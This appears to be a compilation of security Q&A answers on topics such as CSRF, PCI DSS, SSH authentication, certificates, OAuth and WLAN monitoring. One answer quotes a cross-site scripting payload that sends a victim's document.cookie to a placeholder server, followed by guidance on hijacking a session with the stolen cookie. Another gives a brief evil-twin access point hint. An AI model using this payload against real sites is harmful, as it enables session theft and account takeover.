You see two of the same SSID because they have different settings, to merge them and create an evil twin you need to meet some conditions, you need to have the same settings in both AP.

ESSID (What probe requests look for)
Encryption algorithm (Open, WEP, WPA, etc.)
Cipher (CCMP, TKIP, WEP40, etc.)

This is called WiFi roaming

Here's another question asking ALMOST the same:

Rogue EAP (PEAP) access point to obtain hashes

Try adding the option -z or -Z to airbase


Is a mobile app more secure for mobile use than the "normal" website?

A web app and a web browser both have the same problem- an attacker can subvert the data they send or receive.

I would not encourage forcing a user to use an app over a browser- I would take it the wrong way of a company tried to force me. I might not want to install an app, as part of my security policy.


No, the ISP does not need to be PCI compliant in this regard. If you were not communicating over a secure channel (i.e. TLS) then you would be violating the data-in-transit requirements of PCI DSS anyway.

Another way to think about this is from the customer perspective - if there's a PCI DSS complaint public-facing website, does the customer's ISP have to be PCI DSS compliant? No - the onus is on you to ensure that the transport layer is properly encrypted.

In such cases, TLS is considered a compensating control, meaning that something that you are doing would not strictly be compliant (e.g. sending card data in transit through someone else's public network) but you have implemented additional security controls that mitigate that concern.

As an aside, keep in mind that the PCI council is in the process of deprecating TLS 1.0 (all prior versions are already deprecated) such that you will not be compliant if TLS 1.0, SSLv3, or SSLv2 are enabled on any service on your network.


Is local admin access a danger to a properly set-up network?

Local Admin access means that it is easier for the attacker to establish persistent control of the host, to install software and modify system settings, and to take actions like sniffing the network that may allow it to move laterally onto other systems.

So, yes, it is a danger to the network, in that it provides the attacker with more stable access to a more capable platform for lateral movement.


Why is referer checking needed for Django to prevent CSRF

First of all, thanks for the interesting question. I did not know about the details of CSRF before and had to look up the answer to your question myself, but I think I know the correct explanation for Django's behavior now.

The Django developers are treating HTTP and HTTPS refers differently because users expect different things from insecure and secure web services. More specifically, if a web page is using transport layer security, users expect to be protected against man-in-the-middle attacks, meaning they trust in the principle that even if someone sat directly between them and the remote server and intercepted every single message, they couldn't make any use of that information. Note that this is not expected of plain HTTP connections.

Now consider the following scenario, quoted from a Django dev's post here :

  user browses to http://example.com/
  a MITM modifies the page that is returned, so that is has a POST
  form which targets https://example.com/detonate-bomb/ . The MITM has
  to include a CSRF token, but that's not a problem because
  he can invent one and send a CSRF cookie to match.
  the POST form is submitted by javascript from the user's browser
  and so includes the CSRF cookie, a matching CSRF token and the
  user's session cookie, and so will be accepted.

I did not instantly understand this attack myself, so I'm gonna try to explain the details. Note first that we are looking at a page that displays forms over plain connections but submits data via SSL/TLS. Part of the problem, as I understand it, is that the cookie and hidden form value (aka "the CSRF token") are only compared against each other, not against any value that is stored server-side. This makes it easy for the attacker to supply their victim with a cookie-token-combination that will be accepted by the server - remember, the page displaying the form is not secured, so Set-Cookie headers and the contents of the form itself can be spoofed. Once the manipulated form is submitted (via injected JS, for example), the server sees a perfectly valid request.

Adding strict Referer checking is the answer to this exact problem. Checking these headers, only requests originating from https://example.com will be accepted at another endpoint of https://example.com. Insecure pages from the same domain will be treated as completely untrusted, and rightly so.

Now to come back to the question why plain HTTP requests are treated differently, we just have to imagine a site that doesn't use encryption at all. In that case, a man in the middle could also spoof the Referer headers sent with the actual form data, so checking those does not provide any additional security. In other words: There is no protection against CSRF attacks by a man in the middle - but, as I mentioned earlier, users do not expect this kind of security from plain HTTP sites.

Regarding your question about how other web frameworks handle this attack vector, I honestly have to say I don't know.


How can I find the IP address of someone who is using a vpn?

I would recommend contacting local police and reporting that incident as well as contacting other international authorities. Usually, such threats are being fought by special cyber units.
I would not recommend contacting the blackmailers or reacting to their provocations. Just compose a descriptive detailed report and send it to the police.
Sometimes criminals are waiting for the victim to make such mistakes to exploit those mistakes against them, so be careful with contacting them or threatening them.


understanding the "Offering RSA public key" step during SSH connection initialization

When the SSH client displays this message, it's trying to authenticate the user on the server (userauth_pubkey in sshconnect2.c). The client needs to demonstrate that it has the private key corresponding to a public key that is authorized on the server. The file name displayed in the debug message is the name of the private key file (e.g. passed as an argument to -i or as the IdentityFile configuration directive).

At the point where this message is displayed, the client doesn't use the private key, only the public key. However, the client wants to know that the private key is available, because if the server agrees to use this public key then the client will have to demonstrate that it knows the private key. The client sends an SSH_MSG_USERAUTH_REQUEST message to the server with the publickey method containing the public key. If the server agrees to use this public key (“debug1: Server accepts key”) then the client will later use the private key to sign a challenge sent by the server in another SSH_MSG_USERAUTH_REQUEST message (in sign_and_send_pubkey — the have_sig byte changes from 0 (“tell me if you like this key”) to 1 (“here's a proof that I'm me, let me in”)).


Secure Way of Encrypting Your Bash Shell Script

You could try to encrypt the script using standard methods and decode it on the fly by giving the secret key either directly or through a process. But, this would only help against attackers which have no permissions to modify any of your data or the programs you call, which especially means that they have neither root permission nor the same uid as you. And in this case a simple chmod go-rwx should already be enough protection.

So against users which have the same or even higher rights as you there is no protection.


It depends on whether that switch makes a change to the hardware or it triggers a software change in the stick (or the OS).

Any software-based protection could be manipulated via software. Hardware-based protection cannot be manipulated via software.


Will an IP camera still work if the wifi router breaks or is turned off?

Assuming this is a WiFi camera. If it's wired and the same wireless router is how it connects to the internet.

In a simple word, No. No transport, no storage.

Put the router on an UPS.

And if it's a WiFi camera, it can be jammed.


Quantifying risk of not upgrading Android (ie Android 8.1 to newer version)

From a security POV, you're exposing yourself to every security vulnerability that has been patched since you last applied updates. There's far too huge a number to really be aware of every single security flaw, but you can get a decent idea by looking at the List of Android Security Vulnerabilities and using the buttons at the top to include only higher scoring vulnerabilities (such or 8 or 9). Most of the 9s don't require installing anything. Some of them don't even require user interaction, for example CVE-2018-9476 which exploits the Bluetooth driver without requiring any user action.

The bottom line is that updates exist for a reason, and when you're talking about updates to the operating system itself, you can't assume that there's any action you can take that will negate every possible vulnerability other than installing updates. If you do choose to accept the risk of operating without updates, I would absolutely recommend keeping up to date on Android Security Bulletins and looking for new vulnerabilities which would apply to your device and OS which are marked critical to determine if you're willing to accept the risk posed or if you feel you need to update after being aware of what your system is vulnerable to.


The "haystack" is just a metaphoric way to describe brute force. The idea of "repeated characters" in passwords is a poor one.

The whole password game is that the defender (i.e. the user) will draw his password from a "set of potential passwords", and the attacker will walk this set until he finds the right one. Larger sets imply more work for the attacker, but also for the defender because that's more choices to remember.

If users were robots, then "repeated characters" would be as good an idea as anything else: like love, entropy is blind, and does not mind how you achieve the set of possible passwords as long as there are sufficiently many. However, if users were robots, then they would use random 128-bit keys as "passwords" and the whole discussion would be moot. In practice, human users are human and this implies that human brains will have to do the remembering. The point here is that the "memory resources" spent on remembering a specific password feature do not equate at all with a fixed number of extra entropy bits.

If you take a password as a "normal word" and then double one letter (e.g. "passwword") then the effort needed to remember that this specific letter is doubled is quite big compared to the actual gain (for an 8-character source password, you get 3 bits of entropy out of the choice of the letter to double -- in fact a bit less because many people would elect to double the "o", because "Google", not "goggle"). That's the whole idea behind the famous comic which was discussed in this question: to get the most entropy out of human-remembered password, you must generate passwords in ways which map well to the best abilities of the human brain. Humans are very good at talking and are highly trained at reading and writing (through years of toil), so you should use words for passwords. Most "password improvement" tricks like including digits and punctuation signs or, for the case at hand, repeating letters, are at odds with the mind. They are therefore counterproductive.

In less words: instead of doubling a letter, add another word. This will be a much better use of your brain cells: it will give you more security for less effort.


How to set "Not Before" value to past when creating certificate request

The "99991231235959Z" end of validity period may run you into trouble, because some software still converts date to an internal representation as a number of seconds since the "Epoch" (January 1st, 1970, 00:00 UTC) over a signed 32-bit integer. This internal representation fails on January 2038. Setting a validity period which spans beyond that fateful date may imply that your certificates will be rejected by some implementations.

Also, when a device sees its clock reset due to a long power cut, I suppose it does not get reset to a random date; it gets reset to a "default" date. Your certificate validity does not have to cover eight thousand years, but "just" the current days (for devices with a clock well adjusted) and the days around the default value to which clocks are reset when they lose power. Setting the validity period to range from 1970 to, say, 2037, ought to cover all cases, and will keep the internal representation (if used by a specific implementation) in the range where 32-bit signed arithmetic is good.

Be aware that if your devices do not have an accurate clock, then you will not have reliable revocation support, unless you enforce OCSP with client nonces.

That being said, validity period is not part of the certificate request. The period is chosen at the time the certificate is emitted, by the CA.

The OpenSSL command-line tool can be used as a very crude CA, although it was mostly designed for debugging. That tool offers "commands", two of which being able to create an X.509 certificate, x509 and req. Both provide only one option to adjust the validity period, which is the -days option. This is quite plainly visible if you take a look at the source code, e.g. in apps/x509.c:

            if ((x=X509_new()) == NULL) goto end;

            if (sno == NULL)
                    {
                    sno = ASN1_INTEGER_new();
                    if (!sno || !rand_serial(NULL, sno))
                            goto end;
                    if (!X509_set_serialNumber(x, sno))
                            goto end;
                    ASN1_INTEGER_free(sno);
                    sno = NULL;
                    }
            else if (!X509_set_serialNumber(x, sno))
                    goto end;

            if (!X509_set_issuer_name(x,req->req_info->subject)) goto end;
            if (!X509_set_subject_name(x,req->req_info->subject)) goto end;

            X509_gmtime_adj(X509_get_notBefore(x),0);
            X509_time_adj_ex(X509_get_notAfter(x),days, 0, NULL);

As you see in this code snippet, the new X.509 certificate structure is created,  (and defaults the start and end of the validity period to the current date); the two last lines of the code adjust the validity period using the days parameter, and nothing else.

So if you want to adjust the validity period to arbitrary dates, you have two possibilities:

Set the current date of your computer to the start date you wish to use, so that openssl believes that we really are in the early 1970s; and set -days to 24000 or so. This is an awful hack and setting the clock of your computer back in the pre-Disco past might be difficult (modern computers automatically set their clock with NTP), and may break things (e.g. a MacOS X 10.5 computer will not be able to connect to WiFi if its clock is before year 2000).
Emit the certificate programmatically, using OpenSSL as a library, not as a command-line tool (alternative: modify OpenSSL source code to include the command-line options you need for x509 and/or req).


Protect sensitive information in a password-free, shared database

Do not use environment vars because of the scripts your webserver is hosting can be vulnerable AND you can't controll them all(scripts). Any script compromised - and it's no problem to dump the whole environment.
My suggestion is to use a ControlPort with authentication and telnet-like protocol for on-flight configuration of a newly-spawned instance. Spawn-and-config, providing a key in runtime config. And take a look at LDAP, by the way - it's a proper storage for certificates IMHO


The main reason for this is that the asymmetric encryption algorithm used in the signing (RSA) cannot be used to encrypt large amount of data and it is extremely slow. In particular, RSA cannot encrypt data that is larger than its key size:

  RSA, as defined by PKCS#1, encrypts
  "messages" of limited size. With the
  commonly used "v1.5 padding" and a
  2048-bit RSA key, the maximum size of
  data which can be encrypted with RSA
  is 245 bytes. No more.

The bulk of the data encrypted when using asymmetric encryption is actually encrypted using a symmetric encryption, such as AES, with randomly generated key that is then encrypted using RSA and sent together with the data. This is how TLS, PGP, S/MIME, and most other PKI-based encryption systems work.

A PKI Certificate usually contains more data than what one can fit in the RSA size limit because a Certificate contains an RSA public key, which is usually of the same size as the CA's own RSA key. So we need a way to reduce the size of the encrypted data, while still faithfully representing the entire data. Thus, the use of hashing. The hash can then be encrypted using RSA directly, instead of using the RSA+AES method.

If we insist the entire certificate to be signed using plain RSA, then the CA would only be able to sign certificates whose key length is strictly shorter than the CA's key. And each step of intermediate CA's would only be able to sign consecutively smaller keys.

  The metadata could be useful for auditing CAs to keep them honest

The metadata isn't actually just used to keep CA honest. The metadata in a Certificate also encodes:

the certificate purpose (code signing certificate, S/MIME certificate, client certificate, server certificate),
identifying information about the key owner that the CA were able to verify (legal name, organization identifier, organization's address and legal jurisdiction), this should be used by the peer to decide whether they are communicating with the right entity
how to find the certificate revocation list or OCSP responder, and
the process that the CA used to verify the certificate, which represents the strength of the attestation (EV, OV, or DV).

Some information like CRL/OCSP cannot be safely communicated in a side channel, as that would defeat the purpose of the field.


Setting up ASP.NET web application on internet for first time; Are these security measures enough?

If that's the only thing you've thought about, then likely the answer is "no, that's not enough".  I'm assuming that's not really all you have thought about, but just in case...

"Enough" is something that is determined after a detailed threat analysis by someone (or a team of someones) that knows what they are doing. Web applications are wonderful attack surfaces, and while Microsoft made it relatively easy to properly build a reasonably secure website using ASP.NET, it's still very easy to not build a secure website.

Simply putting something together and putting out there isn't enough, even for a website that contains no sensitive data.

There are many threats to worry about:

SQL Injection attacks

Can be used to steal sensitive information from your databases, insert malicious code to be output to browsers (see the next vulnerability) and in the absolutely worst-case scenario, SQL injection can be used to give an attacker complete control over your server.

Cross-Site Scripting (XSS)

Someone figures out a way to get your website to serve up malicious JavaScript.  Usually this is done by injecting the script into a database and then counting on the developer to not know enough to escape the database output.  It can also be done if the attacker has access to your file system, but putting the payload in the database is much more common.

Cross-Site Request Forgery (XSRF)

This is when someone uses XSS to put a malicious JavaScript on YOUR website that then goes and performs unauthorized transactions (often without your user's knowledge) on another website.  (This is why it doesn't matter if your site has sensitive information or not.  If you aren't coding to prevent XSS, your website can be used to attack websites that do have sensitive data.

Those are only the first thing to pop into my head.  There are a ton of other issues to be concerned with.  But this forum isn't meant for that type of in-depth answer.

I suggest starting here: http://msdn.microsoft.com/en-us/library/ff649100.aspx Once you've digested that, I'd strongly recommend becoming familiar with the OWASP Top 10. http://www.owasp.org/index.php/Top_10_2010-Main You're asking about a small sliver of the things you need to be concerned about.


Cheating or service disruption by altering client-side code

JavaSnoop is a tool for exploiting vulnerabilities such as CWE-602: Client-Side Enforcement Of Server-Side Security. Even thick clients cannot be trusted, and if a distributed system exposes sensitive functions to thick clients,  then that is a vulnerability.   There is no point in defending against "JavaSnoop" or even "Firebug" or "burp",  these are just tools.  The system as a whole needs to be taken into consideration, and a server must be vetted for remotely exploitable vulnerabilities that are accessible though any means.

The process for enumerating these types of vulnerabilities is no different than any other vulnerability.  An assessment team,  or penetration tester will look at exposed functionality and test this functionality for common vulnerabilities such as SQL Injection,  or trust boundary issues.


From https://stackoverflow.com/questions/36240279/how-do-i-extract-the-pre-master-secret-using-an-openssl-based-client

I recommend using the master key, which is easier to get at. To the best of my knowledge the pre-master key only exists ephemerally on the stack in OpenSSL. The master key is available in ssl_session_st (defined in ssl.h in the 1.0.2 branch but moved to ssl_locl.h in a later version). The SSL member variable session is a pointer to its ssl_session_st (aka SSL_SESSION).


Is Windows Sandbox a viable alternative to conventional VM solutions considering its design?

Would you consider Windows Sandbox to be a viable alternative to conventional VM solutions in terms of security

Because sandbox serves different purpose than virtual machines, sandbox can not replace virtual machines. One simple difference can be all the changes done are lost in window's sandbox once the machine is done with. Virtual machine generally encompasses the features of sandbox and more.

  or do the shortcuts used to achieve the performance undermine the VM's core principles too much?

The Window's sandbox also uses hypervisor tech so essentially it seems not very different in implementation than other hypervisors out there, only key difference is the operation on virtual machine(window's sandbox here) are lost after it is shutdown.

  Does the situation change when we're talking about a web-based attack, such as opening a malicious site in a browser from within the Sandbox, or does it come down to the same situation as running an infected executable? (disregarding the extra layer of sandboxing done in the browser itself)

It may help with certain situations but not all attacks are same, Question is very wide to answer.

One typical situation assumed is when you have a session running and site is vulnerable to XSS, in such scenario sandbox has no role to play.


How to defend against web server security scanners?

The truth is, any server with a public IP address connected to the internet will be scanned all the time. There are so many automated tools and scanners out there just looking for the low hanging, outdated, easily vulnerable servers.

You are looking for how to secure it, and that is a really important first step. You can not stop the scans. However, that does not make you vulnerable.

Things you can do:

Change the HTTP Server headers

This doesnt make you more secure, but you can remove identifying information that makes scanners less effective.

Set up a firewall and block non-essential services

Windows comes with a firewall. Use it to block all inbound traffic that is not port 80 and 443. This will make scans get less results and reduce your attack surface. If you need to RDP in, open up port 3389 to your own subnet, or a few select IP addresses, but certainly not to the whole internet.

Install something that will protect your server from common exploitable attacks, such as XSS, and SQL Injection.

You can't block all attacks 100%, but you can install something like ModSecurity that will inspect the data submitted and block/log known attacks.

Start logging to a remote server

Your server might get compromised. Thats just reality. Have a plan for how you find out what happened, and a plan to restore the server if you need to.


Logging in as administrator in windows 7, is there a downside?

The dangers are the same with logging in as root in any system.

Suppose a malware has found a way to bypass UAC, what can it do?
If you're logged in as administrator/root pretty much everything it could ever want to do can be done.

On the other hand if you're logged in with a normal user all it can do is corrupt/infect the users files in the users home and everything else will get denied unless it provides the administrator password.


Tools to identify and report hacking attempts originating inside reputable organizations?

The organisations that have this down to a fine art are the global Security-As-A-Service companies. They are the only players big enough to hook into ISP's, Fortune 350's etc. They also work well with organisations to understand their asset register - helping weed out the attacks that might be real.

If you don't use one of them to manage your perimeter security, the workload to identify attacks at the perimeter needs to be passed off to scripts or devices in the main part - for most organisations there are just too many attempted attacks.

If you can implement a perimeter device to drop basic attacks this should take care of general port scanning. The types of abuse you might detect inbound from that device that aren't useful to report include exploit attempts which don't match your infrastructure (eg Windows attacks against Unix machines), brute force attacks etc.

If an attack comes from a registered corporate you may have luck - eg reporting to HP's abuse contact can get very quick results - as big companies don't want the legal ramifications of dealing with a computer they own being implicated in an attack.

------- so much for the good stuff -------

Finding out who to report to is a major issue. Look up ARIN, RIPE or your regional equivalent - You'll find that the whois records for 'bad guys' are unlikely to be correct and in any case a large number of automated scans and attacks come from compromised home computers or botnets so while you may have a contact at an ISP, they may have no power to do anything. They might have outsourced subnets to other ISP's anyway, or they may just not want to be involved.

From experience, you are much more likely to get action if you are a security person working for a Fortune 350, failing that you must expect bounces or ignored communications. The way round this is often to contact their CEO, CISO or Marketing Director :-)

In terms of information to include - the log and any timestamp offset information are the key items to pass on.


Is e-mail sent from a Gmail address to another Gmail address encrypted?

While we have no visibility of Google's internal security measures, there is a more general answer.

There are two common approaches to securing an email.

You can encrypt the contents at one client, and decrypt them at the other client.
You can set up secure channels and send the mail over that.

Both work in theory, but in practice it is very difficult to be sure that the channel stays encrypted over the whole of it's journey, because you usually don't control each step of the way.

In addition, even if Google were encrypting their internal traffic, they decrypt it at various points so they can read the contents (so they can target adverts at you) so they, or an internal attacker, can access your mail regardless.

So as a general rule, if you need to email confidential information, you should encrypt it at the client.


As with any job application, you will be required to send documents for not only immigration compliance, but also for HR.

Legitimate reasons for requests include:

Proving compliance with immigration laws regarding who is able to work legally.
Record who works for the company, so that they can use/implement access control.
Be able to put someone's name down for tax purposes.
Setup personalized email/corporate directory information.

There is no website mentioned, so I will assume they use HTTPS for form uploads. Something that isn't mentioned, and can't really be discussed is the backend security.

We are not able to view how the backend database(s) and storage of images are implemented. For all we know, both could be on 1.44MB floppies.

On a more serious note, access controls on databases and not encrypting data at rest (images), are major points. If you have any major questions, review the privacy policy, and other policies that should be accessable on the website. If you can not find such information, I would attempt to speak with a human over a telephony device about any security concerns.

I discussed the privacy aspect in detail with another question of mine, but can't seem to find it. The point being, send low quality (JPEG level 5 or so), black-and-white, one sided images of documents if nothing is specified. This prevents the direct reuse of images as supporting documents in the physical realm.

I will however say it seems quite odd you have a driver's license but not a ID card issued by any state.

Unless there is incorrect understanding, a driver's license is a valid form of state ID. Perhaps I'm incorrect to assume, the driver's license is issued from one of the many states of the US.


Where can I find a description list for major vulnerabilities?

Since you mention SQLi and XSS, this seems to be primarily about web vulnerabilities. In that case, take a look at OWASP.

If you're asking this from a developer's point of view, you will be especially interested in their Cheat Sheets. For example, here is the XSS Cheat Sheet.


Detection of Substitution attack on Block Cipher ECB mode

This isn't a question of cryptography, but of auditing.  Bank A and Bank B both keep records of the transactions they've performed.  Eventually, they're going to compare notes and realize that the two sets of records don't match.  Specifically, Bank B has a collection of transactions that transfer money into Oscar's account without counterpart transactions on Bank A's side, while Bank A has a collection of transactions that transfer money into non-Oscar accounts at Bank B without counterpart transactions on Bank B's side.  Since the dollar amounts of the mismatched transactions are identical, that's strongly suggestive of Oscar tampering with the transfer stream.


Following is a thought of mine, but don't know how practical it is?

If you don't have access to the source code of the program, you have to make a lot of assumptions about the format of the arguments, etc. And you have to emulate the original behavior of the function in a way that doesn't break the program, or jump back to the (remainder of) the original function after emulating the part of the function you overwrite with the JMP instruction.

You may also have to change the page protection, as program code is usually not writable by default.

Programs that take certain kinds of anti-reverse-engineering measures will be hard to patch in this manner, because they checksum their program code from time to time.

But, for a plain unprotected binary this can work (with requisite effort expended).


...php writes the cookie into a file. (I think that is one of the
  normal processes).

From what you wrote above, it seems that there could be some misconception with your understanding on how a session is being created and maintained on a website. When a user logs in to a website, a session id is generated and this id is stored in a special cookie, known as the session cookie, on the client's browser, like this:

PHPSESSID:fgws4j52jcm10dkgw02nd2

At the same time, a session file (or database row) with the same id is created containing variables (such as user name, login time) related to that particular user. These session variables are stored server side and called from the superglobal $_SESSION array when a session is started.

To hijack a session, what you need is a cookie containing the name-value pair like the one above. One precondition is that the victim must be logged in during the attack such that the session file with the stolen id is still fresh on the server. Also, the website must not be doing other extraneous checks (such as user agent or IP address) to thwart hijackers.

<script>location.href = 'http://myserverIP/test/signup.php?cookie='+document.cookie;</script>

The javascript you wrote above merely injects a name-value pair in the superglobal $_GET array. What you want is to transmit the name-value pair using your browser cookie, certainly not with the URL.

Most modern browsers store the cookie information in a database such as sqlite. To edit a cookie, you need to access the web console or the developer toolbar which is covered here for Chrome and here for Firefox.


Do I require a SSL certificate for using Google Login?

Using SSL protects your users from being phished

If you don't secure the connection between your website and your client, a man in the middle can change the page content to try stealing users credentials. When the Bob connects to your website his browser fetches the page content. If there is a man in the middle between Bob's PC and your server, he can change the page content before sending them to Bob. In this case, when Bob tries to login your website with Facebook, he will connect to malicious guys website, which tries to fool the user and steal his Facebook credentials.

If you use https in your website, the scenario above will never happen. Because Bob's browser will know the connection is interrupted.


Confluence / how to judge if it is safe for ITAR, EAR, or IP?

Without being overly familiar with ITAR and EAR (I'm not an American), I'd suggest that if Atlassian have not responded to your concerns you would be unwise to host in their cloud.

Nothing below is to imply Atlassian are reckless with your data - if anything the reverse - by comprehensively describing their practices they can help you make an informed decision.

Read through https://www.atlassian.com/trust/security/security-practices#faq-49b1539c-bbea-405e-a8a4-1b5c7cb49b39 which I imagine will give you pause. Among other things that might concern me -

Confluence data is not stored encrypted.
They use geographically diverse DC's - including DC's outside USA, and it is strongly implied data is shared between multiple availability zones, which could imply outside the USA.
Their emoyees have (controlled) access to your data. It is not guaranteed your employees are US citizens.

If you can be compliant bearing in mind the limitations they disclose, it could be more secure to use their system - It probably comes down to if US clearances are needed, if data can be stored outside USA, and if you need to protect against foreign state actors.


Why are third party cookies sent to second party websites?

Cookies set by scripts are always associated with the webpage's domain, not the domain that the script came from. (If this weren't the case, then it would often be easy to include a script from a remote domain and a second script which redefined global functions to trick the first script into reading or setting arbitrary cookies on the remote domain.)

Security.SE includes the google analytics javascript file in its webpages, so the script runs within Security.SE's domain and any cookies set by the script are associated with the Security.SE domain.


What is the worst that can happen if your OAuth client secret is leaked?

Sometimes you have to share the OAuth client secret, which is the case for mobile apps. The real protection here is the whitelist of where the OAuth secrets can be used.  Despite the name "secret" sharing the OAuth client secret is generally not a problem for mobile apps - and is required to function.

The shared secret used in a 2-legged or 3-legged OAuth authentication flow might allow an attacker to initiate the SSO flow, and unwrap encrypted OAuth tokens.  This may or may not be a problem,  usually these tokens have a strict whitelist of where the SSO flow terminates, and the termination is the important part as this is where the access token is sent.  An attacker might be able to use another vulnerability, such as an open redirect to subvert the SSO flow which is an OAuth RFC violation in it's own right. The combination of these two issues would result in an account takeover chained-exploit.

Try and avoid sharing secrets, and make sure that other protections in place. Consider reading the OAuth security best practices IETF document for all of the ways OAuth can go wrong.


Using an unknown hash algorithm for passwords and be PCI-compliant?

The key phrase in 8.2.1 is 'Strong Cryptography' which is defined in the glossary as:

  Cryptography based on industry-tested and accepted algorithms, along
  with strong key lengths (minimum 112-bits of effective key strength)
  and proper key-management practices. Cryptography is a method to
  protect data and includes both encryption (which is reversible) and
  hashing (which is not reversible, or “one way”). See Hashing At the
  time of publication, examples of industry-tested and accepted
  standards and algorithms include AES (128 bits and higher), TDES/TDEA
  (triple-length keys), RSA (2048 bits and higher), ECC (224 bits and
  higher), and DSA/D-H (2048/224 bits and higher). See NIST Special
  Publication 800-57 Part 1 (http://csrc.nist.gov/publications/) for
  more guidance on cryptographic key strengths and algorithms.

My advice would be to copy this definition and ask the manufacturer whether the storage of passwords complies with this definition of strong cryptography or the definition of hashing (also in the glossary). If the manufacturer says yes then your QSA has to be satisfied.

If the answer is no (and if the manufacturer refuses to answer you can assume that means no) then you’re probably going to have to look at compensating controls or evidence that the password store itself is inaccessible (or regretting your purchase) or further segmentation such that a compromise of the password database would have no effect on the security of the CDE.


As stated by https://sweet32.info/, 3DES is as safe as it has always been. You just have to follow the requirements for it, i.e. not using it for more than 32 GB of data with the same key.

The proof of concept of the attack mentioned in the website needed 610 GB of recorded communications. Those communications were simulating a worst-case scenario.

In practice, as long as you use it to browse websites, you should be fine as it will be hard to communicate 32 GB of (repetitive) data to a single website. However, do not use it to secure a VPN or long-lived communications.

As a side note, 3DES is considered weak because its key is limited to 112 bits.


Monitoring an uninvited guest on my WLAN?

Assuming you have control of the network equipment then yes you can log and monitor their actions.

Full packet capture: Ideally you want full-packet capture of all traffic at key ingress/egress points for each segment. You asked for the best way to do this and this would give you the most data about traffic on your network. Even if you can only capture the traffic at one point that you know this unfamiliar host is using to connect to the Internet you will learn a lot.

NetFlow: If full-packet capture is not an option you may be able to enable NetFlow of some form on the devices and see the connections made by this unfamiliar host. This won't be as comprehensive as full packet capture but it will give you a ton of great information.

Firewall Rules or access-control-lists used to log: You may be able to enable logging-only firewall rules on the devices which this unfamiliar host is communicating through. Depending on the type of device used the level of logging information will vary. Some device can do packet captures which would be great if that's an option.

Look at the DNS cache (or record DNS queries) made by the unfamiliar host if he/she is using your DNS. You may need to enable WireShark/tshark on the DNS server but at least it will give you more information about the user, the type of software they are running, and possibly company affiliations.

Proxy or webfilter logs: If your network happens to have any kind webproxy to protect client end-points from surfing to potentially dangerous sites you could look at these logs. Given you are asking the question you are asking I suspect you don't have this.

Vulnerability Scanning Logs: Does your network get regular vulnerability scans ? If so see what data it recorded about this host.

Internal web server logs: Do you think this device may have accessed an internal website ? If so see if you can get User-Agent information from the web server log relating to this host. This may help you identify the device and if it's a mobile device you can get a lot of information about it sometimes including the devices firmware version.

Those are the places to start looking for passive analysis. Obviously more can be done if you are allowed to actively probe the device but that is beyond the scope of your question.


I use full-disk encryption. Should I passphrase-encrypt my private key(s) anyway?

Local file read vulns occur sometimes. They're most common on servers, especially web servers, but can occur in any software that communicates with a remote machine. That would give a user your keys, but not allow installing a keylogger.

Also, installing a keylogger is a lot less reliable of an attack than just stealing an unprotected key. With a keylogger, the attacker needs to escape notice, needs to have the logger running when you next type in the relevant password, needs to actually catch and recognize the password, needs to have some way for the logged keys to get off your machine and to the attacker... and all of that will take time (until you next enter the password) instead of being usable immediately.


You want to keep signature keys apart from encryption keys; this boils down to consequences of key loss, and key backups. You don't want a backup of signature keys, because this tends to strip them of their potential legal value; but you do want a backup of encryption keys, because loss of an encryption key implies loss of all the data which has been encrypted with that key. See this answer for details.

A signature key and an authentication key could be merged, though, because "authentication" really means, here, a signature on a challenge value. Keeping them apart from each other makes "sense" (in a bureaucratic way) if the corresponding certificates are issued by two distinct CA, and neither of them would accept being regarded as a sub-CA for the other. Another reason would be an inflexible set of regulations that insist on the "one usage per key" mantra, and considers authentication to be distinct from signatures.

Modern smart cards have room for many private keys (e.g. I am using this type of card at work, and you can put 30 private keys in such a beast), so there is little harm done in having two key pairs and two certificates, even if it was not strictly necessary.


prevent Ransomware on CIFS shares mounted on Windows 10

One close to fool-proof way to protect yourself from ransomeware is to have regular versioned backups.  This way if you lose your data to ransomware, you just have to restore from a backup. I realize that this is sometimes more complicated that just copying over files from a backup, but it will give you a certain amount of pice of mind.  After that its really just a matter of limiting access and doing regular updates.


My country is attempting to block WhatsApp, what to do?

Note: See updates about WhatsApp man-in-the-middle exploit, potential WhatsApp backdoor which can allow snooping, and article on how the CIA can bypass WhatsApp message encryption by accessing the phones directly below:

How to block:

Generally, this means your country will either block the website/applications IP address Range which will prevent packets from reaching the website or null route the BGP/AS number (blocking these IP's from being routed).

Getting around a blocked IP restriction:

There are MANY ways to do this but generally this means you will want to use a VPN provider in another country or a tool like Tor if either of those are an option.

https://tor.eff.org/

Note: There are many Tor-based web browsers for various phones. These would be a good solution for access to web pages for your phone but this won't secure connections from your phones other apps.

There are many VPN solutions which will work well on mobile devices. In many cases this may be easier to configure if it's not outlawed.

If neither of those are an option (legally or technically) you may want to check and see if the application or website are accessible via IPv6. If there is an IP restriction it may only be blocked on the IPv4 addresses and not the IPv6 addresses so you may be able to connect directly without using any type of encryption or service which is currently outlawed in your country.

Note: It is very important to understand your local laws when doing any of this and likely worth consulting an attorney to make sure you are not unknowingly breaking any laws in the process.

Update: This post by Bruce Schneier about a man-in-the-middle exploit for WhatsApp is very relevant to your question.

https://www.schneier.com/blog/archives/2016/10/is_whatsapp_hac.html

Update2: This post discussing a potential backdoor discovered in WhatsApp which allows snooping of encrypted messages.

https://www.theguardian.com/technology/2017/jan/13/whatsapp-backdoor-allows-snooping-on-encrypted-messages

For additional technical clarity, this post is also useful to read

https://slashcrypto.org/2017/01/13/WhatsApp_backdoor/

Update3: The most recent Wikileaks release of CIA documents shows how the CIA can access the phone to read WhatsApp messages effectively bypassing its encryption. It's likely other governments can do the same thing using the same or similar methods.

https://www.cnet.com/how-to/wikileaks-cia-hack-phone-tv-router-vault-7-year-zero-weeping-angel/


PCI DSS 3.5.2

  Store secret and private keys used to encrypt/decrypt cardholder data
  in one (or more) of the following forms at all times:

  Encrypted with a key-encrypting key that is at least as strong as the    data-encrypting key, and that is stored separately from the
  data-encrypting key
  Within a secure cryptographic device (such as a host security module    (HSM) or PTS-approved point-of-interaction device)
  As at least two full-length key components or key shares, in    accordance with an industry-accepted method

It depends. DPAPI is just an API that provides a simple  cryptographic application programming interface. Meaning it allows you to safely use cryptographic functions without you having to worry how they work. The DPAPI allows for automatic key expiration (which is one of the PCI-DSS rules).

The benefit of an HSM is that it's a hardware module which can be made tamper proof. Often they are also certified for key storage (FIPS compliance). Performance wise it can be more effective.

Personally I would consider an HSM if you've got the budget. According to PCI-DSS there is actually no best, either are good providing your implementation is done correctly.


How does preventing automatic download of pictures help to protect my privacy?

First it is important to understand what kind of images the client does not show. In your case, as the message states, these are images which would have been "download" ed. That means these are not images which are embedded in the email (multipart, etc.), but referenced (HTML img, etc.).

